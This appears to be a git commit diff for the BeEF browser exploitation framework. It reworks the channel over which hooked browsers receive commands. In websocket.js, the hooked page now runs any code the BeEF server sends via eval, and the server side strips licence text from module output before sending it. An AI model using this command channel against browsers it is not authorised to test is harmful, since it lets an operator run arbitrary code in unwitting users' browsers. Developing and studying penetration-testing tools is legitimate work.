diff --git a/core/main/client/beef.js b/core/main/client/beef.js index c0392d5ba..7c5ad15b0 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -48,11 +48,13 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { * @param: {Function} the function to execute. */ execute: function(fn) { - if ( typeof beef.websocket == "undefined") + if ( typeof beef.websocket == "undefined"){ + console.log("--- NO WEBSOCKETS ---"); this.commands.push(fn); - else - beef.websocket.send(fn); - + }else{ + console.log("--- WEBSOCKETS ENABLED ---"); + fn(); + } }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index e0e17ec82..8b3858c63 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -46,9 +46,8 @@ beef.websocket = { console.log("Connected and Helo"); } this.socket.onmessage = function (message){ - //@todo append the command to head in - console.log("We recive a message ' "+message.data+"'"); - eval("'"+message.data +"'"); + console.log("Received message via WS."); + eval(message.data); /*END POC*/ } diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index e82d9b5fc..429a3d3ef 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -52,27 +52,23 @@ module BeEF #@todo radoen debug this one if let.getsocket(hooked_browser.session) - - funtosend=command_module.output.gsub("beef.execute(function()","") - funtosend=funtosend.gsub("});", "") - funtosend=funtosend.gsub("{", "") - funtosend=funtosend.gsub('// -// Copyright 2012 Wade Alcorn wade@bindshell.net -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -//',"") + funtosend=command_module.output.gsub('// + // Copyright 2012 Wade Alcorn wade@bindshell.net + // + // Licensed under the Apache License, Version 2.0 (the "License"); + // you may not use this file except in compliance with the License. + // You may obtain a copy of the License at + // + // http://www.apache.org/licenses/LICENSE-2.0 + // + // Unless required by applicable law or agreed to in writing, software + // distributed under the License is distributed on an "AS IS" BASIS, + // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + // See the License for the specific language governing permissions and + // limitations under the License. + //',"") let.sent(funtosend, hooked_browser.session) - print_info("We are sending #{funtosend}") + #print_info("We are sending #{funtosend}") else print_info("not in else") @body << command_module.output + "\n\n"